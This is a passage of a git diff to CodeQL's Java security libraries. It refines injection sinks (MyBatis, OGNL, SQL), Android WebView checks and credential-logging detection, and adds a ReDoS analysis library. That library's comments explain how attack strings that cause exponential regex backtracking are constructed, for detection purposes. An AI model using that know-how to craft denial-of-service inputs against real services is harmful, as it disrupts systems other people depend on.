-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 
 private class CreateFileSinkModels extends SinkModelCsv {
   override predicate row(string row) {
diff --git a/java/ql/lib/semmle/code/java/security/InformationLeak.qll b/java/ql/lib/semmle/code/java/security/InformationLeak.qll
index 3ea674521a0..f111f70719b 100644
--- a/java/ql/lib/semmle/code/java/security/InformationLeak.qll
+++ b/java/ql/lib/semmle/code/java/security/InformationLeak.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.security.XSS
 
 /** CSV sink models representing methods not susceptible to XSS but outputing to an HTTP response body. */
diff --git a/java/ql/lib/semmle/code/java/security/IntentUriPermissionManipulation.qll b/java/ql/lib/semmle/code/java/security/IntentUriPermissionManipulation.qll
index 8a51de7efd7..e82ad7a4b35 100644
--- a/java/ql/lib/semmle/code/java/security/IntentUriPermissionManipulation.qll
+++ b/java/ql/lib/semmle/code/java/security/IntentUriPermissionManipulation.qll
@@ -96,8 +96,6 @@ private class IntentFlagsOrDataChangedSanitizer extends IntentUriPermissionManip
  * ```
  */
 private class IntentFlagsOrDataCheckedGuard extends IntentUriPermissionManipulationGuard {
-  Expr condition;
-
   IntentFlagsOrDataCheckedGuard() { intentFlagsOrDataChecked(this, _, _) }
 
   override predicate checks(Expr e, boolean branch) { intentFlagsOrDataChecked(this, e, branch) }
diff --git a/java/ql/lib/semmle/code/java/security/JexlInjectionQuery.qll b/java/ql/lib/semmle/code/java/security/JexlInjectionQuery.qll
index 9e70be5c12f..655f78abcba 100644
--- a/java/ql/lib/semmle/code/java/security/JexlInjectionQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/JexlInjectionQuery.qll
@@ -1,4 +1,4 @@
-/** Provides classes to reason about Expression Langauge (JEXL) injection vulnerabilities. */
+/** Provides classes to reason about Expression Language (JEXL) injection vulnerabilities. */
 
 import java
 import semmle.code.java.dataflow.TaintTracking
diff --git a/java/ql/lib/semmle/code/java/security/JexlInjectionSinkModels.qll b/java/ql/lib/semmle/code/java/security/JexlInjectionSinkModels.qll
index aeffc160bfd..8f95ca406aa 100644
--- a/java/ql/lib/semmle/code/java/security/JexlInjectionSinkModels.qll
+++ b/java/ql/lib/semmle/code/java/security/JexlInjectionSinkModels.qll
@@ -1,4 +1,4 @@
-/** Provides sink models relating to Expression Langauge (JEXL) injection vulnerabilities. */
+/** Provides sink models relating to Expression Language (JEXL) injection vulnerabilities. */
 
 private import semmle.code.java.dataflow.ExternalFlow
 
diff --git a/java/ql/lib/semmle/code/java/security/LogInjection.qll b/java/ql/lib/semmle/code/java/security/LogInjection.qll
index f446a7edee8..55e4a785d4b 100644
--- a/java/ql/lib/semmle/code/java/security/LogInjection.qll
+++ b/java/ql/lib/semmle/code/java/security/LogInjection.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 
 /** A data flow sink for unvalidated user input that is used to log messages. */
 abstract class LogInjectionSink extends DataFlow::Node { }
diff --git a/java/ql/lib/semmle/code/java/security/OgnlInjection.qll b/java/ql/lib/semmle/code/java/security/OgnlInjection.qll
index 5f411afa9ae..222da6d9996 100644
--- a/java/ql/lib/semmle/code/java/security/OgnlInjection.qll
+++ b/java/ql/lib/semmle/code/java/security/OgnlInjection.qll
@@ -3,6 +3,7 @@
 import java
 private import semmle.code.java.dataflow.DataFlow
 private import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.frameworks.MyBatis
 
 /**
  * A data flow sink for unvalidated user input that is used in OGNL EL evaluation.
@@ -122,3 +123,5 @@ private class DefaultOgnlInjectionAdditionalTaintStep extends OgnlInjectionAddit
     setExpressionStep(node1, node2)
   }
 }
+
+private class MyBatisOgnlInjectionSink extends OgnlInjectionSink instanceof MyBatisInjectionSink { }
diff --git a/java/ql/lib/semmle/code/java/security/QueryInjection.qll b/java/ql/lib/semmle/code/java/security/QueryInjection.qll
index 86bd6dac4ad..fda91647bcd 100644
--- a/java/ql/lib/semmle/code/java/security/QueryInjection.qll
+++ b/java/ql/lib/semmle/code/java/security/QueryInjection.qll
@@ -3,7 +3,8 @@
 import java
 import semmle.code.java.dataflow.DataFlow
 import semmle.code.java.frameworks.javaee.Persistence
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.frameworks.MyBatis
+private import semmle.code.java.dataflow.ExternalFlow
 
 /** A sink for database query language injection vulnerabilities. */
 abstract class QueryInjectionSink extends DataFlow::Node { }
@@ -49,7 +50,7 @@ private class MongoDbInjectionSink extends QueryInjectionSink {
       this.asExpr() = call.getArgument(0)
     )
     or
-    exists(CastExpr c |
+    exists(CastingExpr c |
       c.getExpr() = this.asExpr() and
       c.getTypeExpr().getType().(RefType).hasQualifiedName("com.mongodb", "DBObject")
     )
@@ -66,3 +67,5 @@ private class MongoJsonStep extends AdditionalQueryInjectionTaintStep {
     )
   }
 }
+
+private class MyBatisSqlInjectionSink extends QueryInjectionSink instanceof MyBatisInjectionSink { }
diff --git a/java/ql/lib/semmle/code/java/security/SensitiveLoggingQuery.qll b/java/ql/lib/semmle/code/java/security/SensitiveLoggingQuery.qll
index df0db54f159..0eebd1c79fe 100644
--- a/java/ql/lib/semmle/code/java/security/SensitiveLoggingQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/SensitiveLoggingQuery.qll
@@ -1,17 +1,18 @@
 /** Provides configurations for sensitive logging queries. */
 
 import java
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.dataflow.TaintTracking
 import semmle.code.java.security.SensitiveActions
+import semmle.code.java.frameworks.android.Compose
 import DataFlow
 
-/** A variable that may hold sensitive information, judging by its name. * */
+/** A variable that may hold sensitive information, judging by its name. */
 class CredentialExpr extends Expr {
   CredentialExpr() {
     exists(Variable v | this = v.getAnAccess() |
-      v.getName().regexpMatch([getCommonSensitiveInfoRegex(), "(?i).*(username).*"]) and
-      not v.isFinal()
+      v.getName().regexpMatch(getCommonSensitiveInfoRegex()) and
+      not this instanceof CompileTimeConstantExpr
     )
   }
 }
@@ -23,4 +24,8 @@ class SensitiveLoggerConfiguration extends TaintTracking::Configuration {
   override predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CredentialExpr }
 
   override predicate isSink(DataFlow::Node sink) { sinkNode(sink, "logging") }
+
+  override predicate isSanitizer(DataFlow::Node sanitizer) {
+    sanitizer.asExpr() instanceof LiveLiteral
+  }
 }
diff --git a/java/ql/lib/semmle/code/java/security/UnsafeAndroidAccess.qll b/java/ql/lib/semmle/code/java/security/UnsafeAndroidAccess.qll
index d25f5c4a05c..176b093b68a 100644
--- a/java/ql/lib/semmle/code/java/security/UnsafeAndroidAccess.qll
+++ b/java/ql/lib/semmle/code/java/security/UnsafeAndroidAccess.qll
@@ -3,9 +3,8 @@
  */
 
 import java
-private import semmle.code.java.frameworks.android.WebView
 private import semmle.code.java.dataflow.DataFlow
-private import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.frameworks.android.WebView
 
 /**
  * A sink that represents a method that fetches a web resource in Android.
@@ -26,11 +25,9 @@ abstract class UrlResourceSink extends DataFlow::Node {
  */
 private class CrossOriginUrlResourceSink extends JavaScriptEnabledUrlResourceSink {
   CrossOriginUrlResourceSink() {
-    exists(Variable settings, MethodAccess ma |
-      webViewLoadUrl(this.asExpr(), settings) and
-      ma.getMethod() instanceof CrossOriginAccessMethod and
-      ma.getArgument(0).(BooleanLiteral).getBooleanValue() = true and
-      ma.getQualifier() = settings.getAnAccess()
+    exists(WebViewRef webview |
+      webViewLoadUrl(this.asExpr(), webview) and
+      isAllowFileAccessEnabled(webview)
     )
   }
 
@@ -44,57 +41,96 @@ private class CrossOriginUrlResourceSink extends JavaScriptEnabledUrlResourceSin
  */
 private class JavaScriptEnabledUrlResourceSink extends UrlResourceSink {
   JavaScriptEnabledUrlResourceSink() {
-    exists(Variable settings |
-      webViewLoadUrl(this.asExpr(), settings) and
-      isJSEnabled(settings)
+    exists(WebViewRef webview |
+      webViewLoadUrl(this.asExpr(), webview) and
+      isJSEnabled(webview)
     )
   }
 
   override string getSinkType() { result = "user input vulnerable to XSS attacks" }
 }
 
+private class WebViewRef extends Element {
+  WebViewRef() {
+    this.(RefType).getASourceSupertype*() instanceof TypeWebView or
+    this.(Variable).getType().(RefType).getASourceSupertype*() instanceof TypeWebView
+  }
+
+  /** Gets an access to this WebView as a data flow node. */
+  DataFlow::Node getAnAccess() {
+    exists(DataFlow::InstanceAccessNode t | t.getType() = this and result = t |
+      t.isOwnInstanceAccess() or t.getInstanceAccess().isEnclosingInstanceAccess(this)
+    )
+    or
+    result = DataFlow::exprNode(this.(Variable).getAnAccess())
+  }
+}
+
 /**
- * Holds if a `WebViewLoadUrlMethod` method is called with the given `urlArg` on a
- * WebView with settings stored in `settings`.
+ * Holds if a `WebViewLoadUrlMethod` is called on an access of `webview`
+ * with `urlArg` as its first argument.
  */
-private predicate webViewLoadUrl(Expr urlArg, Variable settings) {
-  exists(MethodAccess loadUrl, Variable webview, MethodAccess getSettings |
+private predicate webViewLoadUrl(Argument urlArg, WebViewRef webview) {
+  exists(MethodAccess loadUrl |
     loadUrl.getArgument(0) = urlArg and
-    loadUrl.getMethod() instanceof WebViewLoadUrlMethod and
-    loadUrl.getQualifier() = webview.getAnAccess() and
-    getSettings.getMethod() instanceof WebViewGetSettingsMethod and
-    webview.getAnAccess() = getSettings.getQualifier() and
-    settings.getAnAssignedValue() = getSettings
+    loadUrl.getMethod() instanceof WebViewLoadUrlMethod
+  |
+    webview.getAnAccess() = DataFlow::getInstanceArgument(loadUrl)
+    or
+    // `webview` is received as a parameter of an event method in a custom `WebViewClient`,
+    // so we need to find `WebViews` that use that specific `WebViewClient`.
+    exists(WebViewClientEventMethod eventMethod, MethodAccess setWebClient |
+      setWebClient.getMethod() instanceof WebViewSetWebViewClientMethod and
+      setWebClient.getArgument(0).getType() = eventMethod.getDeclaringType() and
+      loadUrl.getQualifier() = eventMethod.getWebViewParameter().getAnAccess()
+    |
+      webview.getAnAccess() = DataFlow::getInstanceArgument(setWebClient)
+    )
   )
 }
 
 /**
- * A method allowing any-local-file and cross-origin access in the WebSettings class.
+ * Holds if `webview`'s option `setJavascriptEnabled`
+ * has been set to `true` via a `WebSettings` object obtained from it.
  */
-private class CrossOriginAccessMethod extends Method {
-  CrossOriginAccessMethod() {
-    this.getDeclaringType() instanceof TypeWebSettings and
-    this.hasName(["setAllowUniversalAccessFromFileURLs", "setAllowFileAccessFromFileURLs"])
-  }
-}
-
-/**
- * The `setJavaScriptEnabled` method for the webview.
- */
-private class AllowJavaScriptMethod extends Method {
-  AllowJavaScriptMethod() {
-    this.getDeclaringType() instanceof TypeWebSettings and
-    this.hasName("setJavaScriptEnabled")
-  }
-}
-
-/**
- * Holds if a call to `v.setJavaScriptEnabled(true)` exists.
- */
-private predicate isJSEnabled(Variable v) {
-  exists(MethodAccess jsa |
-    v.getAnAccess() = jsa.getQualifier() and
-    jsa.getMethod() instanceof AllowJavaScriptMethod and
-    jsa.getArgument(0).(BooleanLiteral).getBooleanValue() = true
+private predicate isJSEnabled(WebViewRef webview) {
+  exists(MethodAccess allowJs, MethodAccess settings |
+    allowJs.getMethod() instanceof AllowJavaScriptMethod and
+    allowJs.getArgument(0).(CompileTimeConstantExpr).getBooleanValue() = true and
+    settings.getMethod() instanceof WebViewGetSettingsMethod and
+    DataFlow::localExprFlow(settings, allowJs.getQualifier()) and
+    DataFlow::localFlow(webview.getAnAccess(), DataFlow::getInstanceArgument(settings))
   )
 }
+
+/**
+ * Holds if `webview`'s options `setAllowUniversalAccessFromFileURLs` or
+ * `setAllowFileAccessFromFileURLs` have been set to `true` via a `WebSettings` object
+ *  obtained from it.
+ */
+private predicate isAllowFileAccessEnabled(WebViewRef webview) {
+  exists(MethodAccess allowFileAccess, MethodAccess settings |
+    allowFileAccess.getMethod() instanceof CrossOriginAccessMethod and
+    allowFileAccess.getArgument(0).(CompileTimeConstantExpr).getBooleanValue() = true and
+    settings.getMethod() instanceof WebViewGetSettingsMethod and
+    DataFlow::localExprFlow(settings, allowFileAccess.getQualifier()) and
+    DataFlow::localFlow(webview.getAnAccess(), DataFlow::getInstanceArgument(settings))
+  )
+}
+
+/** A method of the class `WebViewClient` that handles an event. */
+private class WebViewClientEventMethod extends Method {
+  WebViewClientEventMethod() {
+    this.getDeclaringType().getASupertype*() instanceof TypeWebViewClient and
+    this.hasName([
+        "shouldOverrideUrlLoading", "shouldInterceptRequest", "onPageStarted", "onPageFinished",
+        "onLoadResource", "onPageCommitVisible", "onTooManyRedirects"
+      ])
+  }
+
+  /** Gets a `WebView` parameter of this method. */
+  Parameter getWebViewParameter() {
+    result = this.getAParameter() and
+    result.getType() instanceof TypeWebView
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/security/UrlRedirect.qll b/java/ql/lib/semmle/code/java/security/UrlRedirect.qll
index 254ea873fcc..f4fc862ab53 100644
--- a/java/ql/lib/semmle/code/java/security/UrlRedirect.qll
+++ b/java/ql/lib/semmle/code/java/security/UrlRedirect.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.frameworks.Servlets
 import semmle.code.java.frameworks.ApacheHttp
 private import semmle.code.java.frameworks.JaxWS
diff --git a/java/ql/lib/semmle/code/java/security/XPath.qll b/java/ql/lib/semmle/code/java/security/XPath.qll
index 374fbcdbebe..4678d7572c7 100644
--- a/java/ql/lib/semmle/code/java/security/XPath.qll
+++ b/java/ql/lib/semmle/code/java/security/XPath.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 
 /**
  * A sink that represents a method that interprets XPath expressions.
diff --git a/java/ql/lib/semmle/code/java/security/XSS.qll b/java/ql/lib/semmle/code/java/security/XSS.qll
index 23bda5b9964..fa94fe09cac 100644
--- a/java/ql/lib/semmle/code/java/security/XSS.qll
+++ b/java/ql/lib/semmle/code/java/security/XSS.qll
@@ -8,7 +8,7 @@ import semmle.code.java.frameworks.spring.SpringHttp
 import semmle.code.java.frameworks.javaee.jsf.JSFRenderer
 import semmle.code.java.dataflow.DataFlow
 import semmle.code.java.dataflow.TaintTracking2
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 
 /** A sink that represent a method that outputs data without applying contextual output encoding. */
 abstract class XssSink extends DataFlow::Node { }
diff --git a/java/ql/lib/semmle/code/java/security/XmlParsers.qll b/java/ql/lib/semmle/code/java/security/XmlParsers.qll
index 2bd743da2b7..e67aea657ff 100644
--- a/java/ql/lib/semmle/code/java/security/XmlParsers.qll
+++ b/java/ql/lib/semmle/code/java/security/XmlParsers.qll
@@ -1049,7 +1049,7 @@ class SafeTransformerFactory extends VarAccess {
   }
 }
 
-/** A `Transformer` created from a safely configured `TranformerFactory`. */
+/** A `Transformer` created from a safely configured `TransformerFactory`. */
 class SafeTransformer extends MethodAccess {
   SafeTransformer() {
     exists(SafeTransformerFactoryFlowConfig stf, Method m |
diff --git a/java/ql/lib/semmle/code/java/security/XsltInjection.qll b/java/ql/lib/semmle/code/java/security/XsltInjection.qll
index db96879181c..84a2f79a06a 100644
--- a/java/ql/lib/semmle/code/java/security/XsltInjection.qll
+++ b/java/ql/lib/semmle/code/java/security/XsltInjection.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 
 /**
  * A data flow sink for unvalidated user input that is used in XSLT transformation.
diff --git a/java/ql/lib/semmle/code/java/security/performance/ExponentialBackTracking.qll b/java/ql/lib/semmle/code/java/security/performance/ExponentialBackTracking.qll
new file mode 100644
index 00000000000..99b4062dfdc
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/security/performance/ExponentialBackTracking.qll
@@ -0,0 +1,371 @@
+/**
+ * This library implements the analysis described in the following two papers:
+ *
+ *   James Kirrage, Asiri Rathnayake, Hayo Thielecke: Static Analysis for
+ *     Regular Expression Denial-of-Service Attacks. NSS 2013.
+ *     (http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf)
+ *   Asiri Rathnayake, Hayo Thielecke: Static Analysis for Regular Expression
+ *     Exponential Runtime via Substructural Logics. 2014.
+ *     (https://www.cs.bham.ac.uk/~hxt/research/redos_full.pdf)
+ *
+ * The basic idea is to search for overlapping cycles in the NFA, that is,
+ * states `q` such that there are two distinct paths from `q` to itself
+ * that consume the same word `w`.
+ *
+ * For any such state `q`, an attack string can be constructed as follows:
+ * concatenate a prefix `v` that takes the NFA to `q` with `n` copies of
+ * the word `w` that leads back to `q` along two different paths, followed
+ * by a suffix `x` that is _not_ accepted in state `q`. A backtracking
+ * implementation will need to explore at least 2^n different ways of going
+ * from `q` back to itself while trying to match the `n` copies of `w`
+ * before finally giving up.
+ *
+ * Now in order to identify overlapping cycles, all we have to do is find
+ * pumpable forks, that is, states `q` that can transition to two different
+ * states `r1` and `r2` on the same input symbol `c`, such that there are
+ * paths from both `r1` and `r2` to `q` that consume the same word. The latter
+ * condition is equivalent to saying that `(q, q)` is reachable from `(r1, r2)`
+ * in the product NFA.
+ *
+ * This is what the library does. It makes a simple attempt to construct a
+ * prefix `v` leading into `q`, but only to improve the alert message.
+ * And the library tries to prove the existence of a suffix that ensures
+ * rejection. This check might fail, which can cause false positives.
+ *
+ * Finally, sometimes it depends on the translation whether the NFA generated
+ * for a regular expression has a pumpable fork or not. We implement one
+ * particular translation, which may result in false positives or negatives
+ * relative to some particular JavaScript engine.
+ *
+ * More precisely, the library constructs an NFA from a regular expression `r`
+ * as follows:
+ *
+ *   * Every sub-term `t` gives rise to an NFA state `Match(t,i)`, representing
+ *     the state of the automaton before attempting to match the `i`th character in `t`.
+ *   * There is one accepting state `Accept(r)`.
+ *   * There is a special `AcceptAnySuffix(r)` state, which accepts any suffix string
+ *     by using an epsilon transition to `Accept(r)` and an any transition to itself.
+ *   * Transitions between states may be labelled with epsilon, or an abstract
+ *     input symbol.
+ *   * Each abstract input symbol represents a set of concrete input characters:
+ *     either a single character, a set of characters represented by a
+ *     character class, or the set of all characters.
+ *   * The product automaton is constructed lazily, starting with pair states
+ *     `(q, q)` where `q` is a fork, and proceeding along an over-approximate
+ *     step relation.
+ *   * The over-approximate step relation allows transitions along pairs of
+ *     abstract input symbols where the symbols have overlap in the characters they accept.
+ *   * Once a trace of pairs of abstract input symbols that leads from a fork
+ *     back to itself has been identified, we attempt to construct a concrete
+ *     string corresponding to it, which may fail.
+ *   * Lastly we ensure that any state reached by repeating `n` copies of `w` has
+ *     a suffix `x` (possible empty) that is most likely __not__ accepted.
+ */
+
+import ReDoSUtil
+
+/**
+ * Holds if state `s` might be inside a backtracking repetition.
+ */
+pragma[noinline]
+private predicate stateInsideBacktracking(State s) {
+  s.getRepr().getParent*() instanceof MaybeBacktrackingRepetition
+}
+
+/**
+ * A infinitely repeating quantifier that might backtrack.
+ */
+private class MaybeBacktrackingRepetition extends InfiniteRepetitionQuantifier {
+  MaybeBacktrackingRepetition() {
+    exists(RegExpTerm child |
+      child instanceof RegExpAlt or
+      child instanceof RegExpQuantifier
+    |
+      child.getParent+() = this
+    )
+  }
+}
+
+/**
+ * A state in the product automaton.
+ */
+private newtype TStatePair =
+  /**
+   * We lazily only construct those states that we are actually
+   * going to need: `(q, q)` for every fork state `q`, and any
+   * pair of states that can be reached from a pair that we have
+   * already constructed. To cut down on the number of states,
+   * we only represent states `(q1, q2)` where `q1` is lexicographically
+   * no bigger than `q2`.
+   *
+   * States are only constructed if both states in the pair are
+   * inside a repetition that might backtrack.
+   */
+  MkStatePair(State q1, State q2) {
+    isFork(q1, _, _, _, _) and q2 = q1
+    or
+    (step(_, _, _, q1, q2) or step(_, _, _, q2, q1)) and
+    rankState(q1) <= rankState(q2)
+  }
+
+/**
+ * Gets a unique number for a `state`.
+ * Is used to create an ordering of states, where states with the same `toString()` will be ordered differently.
+ */
+private int rankState(State state) {
+  state =
+    rank[result](State s, Location l |
+      l = s.getRepr().getLocation()
+    |
+      s order by l.getStartLine(), l.getStartColumn(), s.toString()
+    )
+}
+
+/**
+ * A state in the product automaton.
+ */
+private class StatePair extends TStatePair {
+  State q1;
+  State q2;
+
+  StatePair() { this = MkStatePair(q1, q2) }
+
+  /** Gets a textual representation of this element. */
+  string toString() { result = "(" + q1 + ", " + q2 + ")" }
+
+  /** Gets the first component of the state pair. */
+  State getLeft() { result = q1 }
+
+  /** Gets the second component of the state pair. */
+  State getRight() { result = q2 }
+}
+
+/**
+ * Holds for all constructed state pairs.
+ *
+ * Used in `statePairDist`
+ */
+private predicate isStatePair(StatePair p) { any() }
+
+/**
+ * Holds if there are transitions from the components of `q` to the corresponding
+ * components of `r`.
+ *
+ * Used in `statePairDist`
+ */
+private predicate delta2(StatePair q, StatePair r) { step(q, _, _, r) }
+
+/**
+ * Gets the minimum length of a path from `q` to `r` in the
+ * product automaton.
+ */
+private int statePairDist(StatePair q, StatePair r) =
+  shortestDistances(isStatePair/1, delta2/2)(q, r, result)
+
+/**
+ * Holds if there are transitions from `q` to `r1` and from `q` to `r2`
+ * labelled with `s1` and `s2`, respectively, where `s1` and `s2` do not
+ * trivially have an empty intersection.
+ *
+ * This predicate only holds for states associated with regular expressions
+ * that have at least one repetition quantifier in them (otherwise the
+ * expression cannot be vulnerable to ReDoS attacks anyway).
+ */
+pragma[noopt]
+private predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) {
+  stateInsideBacktracking(q) and
+  exists(State q1, State q2 |
+    q1 = epsilonSucc*(q) and
+    delta(q1, s1, r1) and
+    q2 = epsilonSucc*(q) and
+    delta(q2, s2, r2) and
+    // Use pragma[noopt] to prevent intersect(s1,s2) from being the starting point of the join.
+    // From (s1,s2) it would find a huge number of intermediate state pairs (q1,q2) originating from different literals,
+    // and discover at the end that no `q` can reach both `q1` and `q2` by epsilon transitions.
+    exists(intersect(s1, s2))
+  |
+    s1 != s2
+    or
+    r1 != r2
+    or
+    r1 = r2 and q1 != q2
+    or
+    // If q can reach itself by epsilon transitions, then there are two distinct paths to the q1/q2 state:
+    // one that uses the loop and one that doesn't. The engine will separately attempt to match with each path,
+    // despite ending in the same state. The "fork" thus arises from the choice of whether to use the loop or not.
+    // To avoid every state in the loop becoming a fork state,
+    // we arbitrarily pick the InfiniteRepetitionQuantifier state as the canonical fork state for the loop
+    // (every epsilon-loop must contain such a state).
+    //
+    // We additionally require that the there exists another InfiniteRepetitionQuantifier `mid` on the path from `q` to itself.
+    // This is done to avoid flagging regular expressions such as `/(a?)*b/` - that only has polynomial runtime, and is detected by `js/polynomial-redos`.
+    // The below code is therefore a heuritic, that only flags regular expressions such as `/(a*)*b/`,
+    // and does not flag regular expressions such as `/(a?b?)c/`, but the latter pattern is not used frequently.
+    r1 = r2 and
+    q1 = q2 and
+    epsilonSucc+(q) = q and
+    exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and
+    // One of the mid states is an infinite quantifier itself
+    exists(State mid, RegExpTerm term |
+      mid = epsilonSucc+(q) and
+      term = mid.getRepr() and
+      term instanceof InfiniteRepetitionQuantifier and
+      q = epsilonSucc+(mid) and
+      not mid = q
+    )
+  ) and
+  stateInsideBacktracking(r1) and
+  stateInsideBacktracking(r2)
+}
+
+/**
+ * Gets the state pair `(q1, q2)` or `(q2, q1)`; note that only
+ * one or the other is defined.
+ */
+private StatePair mkStatePair(State q1, State q2) {
+  result = MkStatePair(q1, q2) or result = MkStatePair(q2, q1)
+}
+
+/**
+ * Holds if there are transitions from the components of `q` to the corresponding
+ * components of `r` labelled with `s1` and `s2`, respectively.
+ */
+private predicate step(StatePair q, InputSymbol s1, InputSymbol s2, StatePair r) {
+  exists(State r1, State r2 | step(q, s1, s2, r1, r2) and r = mkStatePair(r1, r2))
+}
+
+/**
+ * Holds if there are transitions from the components of `q` to `r1` and `r2`
+ * labelled with `s1` and `s2`, respectively.
+ *
+ * We only consider transitions where the resulting states `(r1, r2)` are both
+ * inside a repetition that might backtrack.
+ */
+pragma[noopt]
+private predicate step(StatePair q, InputSymbol s1, InputSymbol s2, State r1, State r2) {
+  exists(State q1, State q2 | q.getLeft() = q1 and q.getRight() = q2 |
+    deltaClosed(q1, s1, r1) and
+    deltaClosed(q2, s2, r2) and
+    // use noopt to force the join on `intersect` to happen last.
+    exists(intersect(s1, s2))
+  ) and
+  stateInsideBacktracking(r1) and
+  stateInsideBacktracking(r2)
+}
+
+private newtype TTrace =
+  Nil() or
+  Step(InputSymbol s1, InputSymbol s2, TTrace t) {
+    exists(StatePair p |
+      isReachableFromFork(_, p, t, _) and
+      step(p, s1, s2, _)
+    )
+    or
+    t = Nil() and isFork(_, s1, s2, _, _)
+  }
+
+/**
+ * A list of pairs of input symbols that describe a path in the product automaton
+ * starting from some fork state.
+ */
+private class Trace extends TTrace {
+  /** Gets a textual representation of this element. */
+  string toString() {
+    this = Nil() and result = "Nil()"
+    or
+    exists(InputSymbol s1, InputSymbol s2, Trace t | this = Step(s1, s2, t) |
+      result = "Step(" + s1 + ", " + s2 + ", " + t + ")"
+    )
+  }
+}
+
+/**
+ * Holds if `r` is reachable from `(fork, fork)` under input `w`, and there is
+ * a path from `r` back to `(fork, fork)` with `rem` steps.
+ */
+private predicate isReachableFromFork(State fork, StatePair r, Trace w, int rem) {
+  // base case
+  exists(InputSymbol s1, InputSymbol s2, State q1, State q2 |
+    isFork(fork, s1, s2, q1, q2) and
+    r = MkStatePair(q1, q2) and
+    w = Step(s1, s2, Nil()) and
+    rem = statePairDist(r, MkStatePair(fork, fork))
+  )
+  or
+  // recursive case
+  exists(StatePair p, Trace v, InputSymbol s1, InputSymbol s2 |
+    isReachableFromFork(fork, p, v, rem + 1) and
+    step(p, s1, s2, r) and
+    w = Step(s1, s2, v) and
+    rem >= statePairDist(r, MkStatePair(fork, fork))
+  )
+}
+
+/**
+ * Gets a state in the product automaton from which `(fork, fork)` is
+ * reachable in zero or more epsilon transitions.
+ */
+private StatePair getAForkPair(State fork) {
+  isFork(fork, _, _, _, _) and
+  result = MkStatePair(epsilonPred*(fork), epsilonPred*(fork))
+}
+
+private predicate hasSuffix(Trace suffix, Trace t, int i) {
+  // Declaring `t` to be a `RelevantTrace` currently causes a redundant check in the
+  // recursive case, so instead we check it explicitly here.
+  t instanceof RelevantTrace and
+  i = 0 and
+  suffix = t
+  or
+  hasSuffix(Step(_, _, suffix), t, i - 1)
+}
+
+pragma[noinline]
+private predicate hasTuple(InputSymbol s1, InputSymbol s2, Trace t, int i) {
+  hasSuffix(Step(s1, s2, _), t, i)
+}
+
+private class RelevantTrace extends Trace, Step {
+  RelevantTrace() {
+    exists(State fork, StatePair q |
+      isReachableFromFork(fork, q, this, _) and
+      q = getAForkPair(fork)
+    )
+  }
+
+  pragma[noinline]
+  private string intersect(int i) {
+    exists(InputSymbol s1, InputSymbol s2 |
+      hasTuple(s1, s2, this, i) and
+      result = intersect(s1, s2)
+    )
+  }
+
+  /** Gets a string corresponding to this trace. */
+  // the pragma is needed for the case where `intersect(s1, s2)` has multiple values,
+  // not for recursion
+  language[monotonicAggregates]
+  string concretise() {
+    result = strictconcat(int i | hasTuple(_, _, this, i) | this.intersect(i) order by i desc)
+  }
+}
+
+/**
+ * Holds if `fork` is a pumpable fork with word `w`.
+ */
+private predicate isPumpable(State fork, string w) {
+  exists(StatePair q, RelevantTrace t |
+    isReachableFromFork(fork, q, t, _) and
+    q = getAForkPair(fork) and
+    w = t.concretise()
+  )
+}
+
+/**
+ * An instantiation of `ReDoSConfiguration` for exponential backtracking.
+ */
+class ExponentialReDoSConfiguration extends ReDoSConfiguration {
+  ExponentialReDoSConfiguration() { this = "ExponentialReDoSConfiguration" }
+
+  override predicate isReDoSCandidate(State state, string pump) { isPumpable(state, pump) }
+}
diff --git a/java/ql/lib/semmle/code/java/security/performance/PolynomialReDoSQuery.qll b/java/ql/lib/semmle/code/java/security/performance/PolynomialReDoSQuery.qll
new file mode 100644
index 00000000000..2a33e15c74a
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/security/performance/PolynomialReDoSQuery.qll
@@ -0,0 +1,56 @@
+/** Definitions and configurations for the Polynomial ReDoS query */
+
+import semmle.code.java.security.performance.SuperlinearBackTracking
+import semmle.code.java.dataflow.DataFlow
+import semmle.code.java.regex.RegexTreeView
+import semmle.code.java.regex.RegexFlowConfigs
+import semmle.code.java.dataflow.FlowSources
+
+/** A sink for polynomial redos queries, where a regex is matched. */
+class PolynomialRedosSink extends DataFlow::Node {
+  RegExpLiteral reg;
+
+  PolynomialRedosSink() { regexMatchedAgainst(reg.getRegex(), this.asExpr()) }
+
+  /** Gets the regex that is matched against this node. */
+  RegExpTerm getRegExp() { result.getParent() = reg }
+}
+
+/**
+ * A method whose result typically has a limited length,
+ * such as HTTP headers, and values derrived from them.
+ */
+private class LengthRestrictedMethod extends Method {
+  LengthRestrictedMethod() {
+    this.getName().toLowerCase().matches(["%header%", "%requesturi%", "%requesturl%", "%cookie%"])
+    or
+    this.getDeclaringType().getName().toLowerCase().matches("%cookie%") and
+    this.getName().matches("get%")
+    or
+    this.getDeclaringType().getName().toLowerCase().matches("%request%") and
